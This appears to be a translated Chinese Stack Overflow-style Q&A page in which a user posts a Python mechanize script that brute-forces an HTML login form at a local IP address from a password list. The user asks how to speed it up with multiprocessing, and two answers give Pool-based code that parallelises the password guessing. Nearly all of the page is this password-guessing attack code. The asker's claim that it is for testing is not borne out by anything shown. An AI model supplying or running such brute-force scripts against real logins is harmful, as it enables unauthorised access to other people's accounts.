2016-09-21 48 views
-1

我有一个使用python mechanize和bruteforce html格式的脚本。这是一个for循环,用于检查“PassList”中的每个密码,并通过检查重定向的url来运行,直到它与当前密码匹配。我如何能实现这里如何在for循环中使用多处理 - python

for x in PasswordList:   
    br.form['password'] = ''.join(x) 
    print "Bruteforce in progress.. checking : ",br.form['password'] 
    response=br.submit() 

    if response.geturl()=="http://192.168.1.106/success.html": 
     #url to which the page is redirected after login 
     print "\n Correct password is ",''.join(x) 
     break 

回答

1

我希望这不是恶意目的。

我从来没有使用Python机械化,但看到你没有答案我可以分享我所知道的,你可以相应地修改它。

一般来说,它需要是它自己的功能,然后您可以调用池。我不知道你的br对象,但我可能会推荐拥有许多这些对象来防止任何冲突。 (可以尝试用相同的BR对象寿,相应地修改代码)

list_of_br_and_passwords = [[br_obj,'password1'],[br_obj,'password2'] ...] 

from multiprocessing import Pool 
from multiprocessing import cpu_count 

def crackPassword(lst): 
    br_obj = lst[0] 
    password = lst[1] 
    br.form['password'] = ''.join(password) 
    print "Bruteforce in progress.. checking : ",br.form['password'] 
    response=br.submit() 

pool = Pool(cpu_count() * 2) 
crack_password = pool.map(crackPassword,list_of_br_and_passwords) 
pool.close() 

再次,这是不是一个完整的答案,只是如何做多处理

+0

我想这不是为了恶意目的,我的意思是,它不够复杂,真的有效,如果目标已验证,它将无法正常工作。 – PyNico

+0

感谢您的回复。这只是为了测试目的没有什么恶意的,这里br = mechanize.Browser() – Susmith

1
from multiprocessing import Pool 

def process_bruteforce(PasswordList): 
    <process> 

if __name__ == '__main__': 
    pool = Pool(processes=4)    # process per core 
    is_connected = pool.map(process_bruteforce, PasswordList) 

多处理我会尝试这样的事情

+0

谢谢你的一般准则,让我检查一下出 – Susmith